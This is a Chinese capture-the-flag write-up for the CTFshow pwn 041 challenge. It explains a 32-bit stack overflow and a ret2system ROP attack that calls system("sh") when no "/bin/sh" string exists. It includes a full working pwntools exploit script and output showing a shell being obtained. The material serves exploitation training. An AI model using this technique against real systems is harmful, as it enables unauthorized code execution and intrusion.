【CTFshow-pwn系列】03_栈溢出【pwn 041】详解：32位 ROP 与字符串搜索
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Author:枷锁
在前面的关卡（pwn 039/040）中，虽然system和/bin/sh分开了，但好歹它们都在。 来到PWN 041，题目给了我们一个更尴尬的局面：有system，但没有/bin/sh。
没有子弹的枪怎么用？ 答案是：就地取材。Linux 系统中，sh通常是bash或dash的软链接，执行sh的效果和/bin/sh几乎一样。只要我们能找到字符串"sh"，就能再次完成拼图。
pwn 041 绝境求生：寻找 “sh” 的踪迹
题目信息与环境侦察
题目描述
pwn41: Hint: It has system, but don't have '/bin/sh'. Find something to replace it!运行一下程序，看看有没有提示消息
解题过程：首先使用checksec检查程序保护情况。
- Arch:i386-32-little(32位程序)
- RELRO:Partial RELRO
- Stack:No canary found(无栈哨兵)
- NX:NX enabled(栈不可执行)
- PIE:No PIE(地址固定)
侦察分析：
- 32位架构：依然是栈传参。
- NX 开启：必须使用 ROP。
- No PIE：我们可以搜索固定地址的字符串。
第一部分：机制详解 —— 为什么 “sh” 可以替代 “/bin/sh”？
在 Linux 系统中：
system("/bin/sh")：- 直接调用绝对路径
/bin/sh。 - 这是最稳健的方式，确保调用的是系统默认 Shell。
- 直接调用绝对路径
system("sh")：- 依靠环境变量
PATH来查找名为sh的可执行文件。 - 在绝大多数 Linux 环境下，
/bin都在PATH中，所以system("sh")会找到/bin/sh并执行。 - 效果等同于
system("/bin/sh")。
- 依靠环境变量
因此，我们的目标从寻找"/bin/sh"降低为寻找"sh"。
第二部分：代码审计与漏洞挖掘
1. 静态分析 (IDA Pro)
Main 函数：
int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts("Hint: It has system, but don't have '/bin/sh'..."); ctfshow(); puts("\nExit"); return 0; }漏洞函数 ctfshow：
ssize_t ctfshow() { _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF // [漏洞点]：read 读取 50 字节 // 50 > 14，存在栈溢出 return read(0, buf, 0x32u); }偏移量计算： 根据 IDA 注释[ebp-12h]：
buf距离ebp的偏移是0x12(18 字节)。- 覆盖返回地址所需长度 =
18(buf) +4(Old EBP) =22 字节。
2. 寻找拼图零件
题目提供了两个辅助函数：
hint 函数：
int hint() { system("echo flag"); return 0; }- 贡献：提供了
system函数的 PLT 地址。
useful 函数：
int useful() { return printf("sh"); }- 贡献：提供了字符串
"sh"。虽然它是在printf中使用的，但字符串本身一定存储在数据段中。
第三部分：实战操作与 Payload 构造
1. 搜集地址
我们需要两个地址：
system函数地址。- 字符串
"sh"的地址。
使用 pwntools 自动搜索：
# 获取 system 地址 system_addr = elf.sym['system'] # 获取 "sh" 地址 # elf.search(b'sh') 会返回所有匹配 'sh' 的地址迭代器 # 使用 next() 获取第一个结果 sh_addr = next(elf.search(b'sh'))2. Payload 构造 (32位 ROP)
32位函数调用栈结构：Padding + 函数地址 + 返回地址(占位) + 参数1
# 偏移量 = 22 offset = 22 payload = flat([ b'a' * offset, # 1. 填充 system_addr, # 2. 调用 system 0xdeadbeef, # 3. system 的返回地址 (随便填) sh_addr # 4. system 的参数 ("sh") ])3. 完整 EXP 脚本
from pwn import * # 1. 基础配置 context.log_level = 'debug' context.arch = 'i386' # 2. 建立连接 io = process('./pwn') # io = remote('pwn.challenge.ctf.show', 28176) # 端口根据实际情况修改 # 3. 加载 ELF 文件 elf = ELF('./pwn') # 4. 搜集拼图零件 # [零件1] system 函数地址 system_addr = elf.sym['system'] log.success(f"System Address: {hex(system_addr)}") # [零件2] "sh" 字符串地址 # 注意：有些题目可能没有显式的 "sh" 字符串，但我们可以搜索包含 "\x00" 结尾的片段 # 或者搜索 "sh" 两个字符的地址。 # 这里题目特意给了 useful 函数包含 "sh"，所以一定能搜到。 try: sh_addr = next(elf.search(b'sh')) log.success(f"'sh' Address: {hex(sh_addr)}") except StopIteration: log.error("String 'sh' not found!") # 5. 构造 Payload # 偏移量 = 18 + 4 = 22 offset = 22 payload = flat([ b'a' * offset, system_addr, 0, # 返回地址占位符 sh_addr # 参数 "sh" ]) # 6. 发送 Payload io.sendline(payload) # 7. 获取 Shell io.interactive()运行结果
[DEBUG] Sent 0x22 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 61 61 61 61 61 61 50 84 04 08 00 00 00 00 ba 87 │aaaa│aaP·│····│··º·│ 00000020 04 08 │··│ [*] Switching to interactive mode $ cat /ctfshow_flag ctfshow{...}总结：PWN 041 的核心逻辑
| 维度 | 之前的题目 (039) | 本题 (041) |
|---|---|---|
| 目标 | system("/bin/sh") | system("sh") |
| 字符串来源 | 题目直接给出/bin/sh | 题目隐晦给出sh，需搜索 |
| 核心技巧 | 栈传参 | 字符串替代与搜索 |
核心启示： 在 PWN 中，我们要学会“妥协”和“寻找替代品”。
- 没有
system？找execve。 - 没有
/bin/sh？找sh，甚至$0（虽然较少见）。 - 只要能达到执行 shell 的目的，用什么字符串并不重要。
- Pwntools 的
elf.search()是搜寻这些微小碎片的神器。
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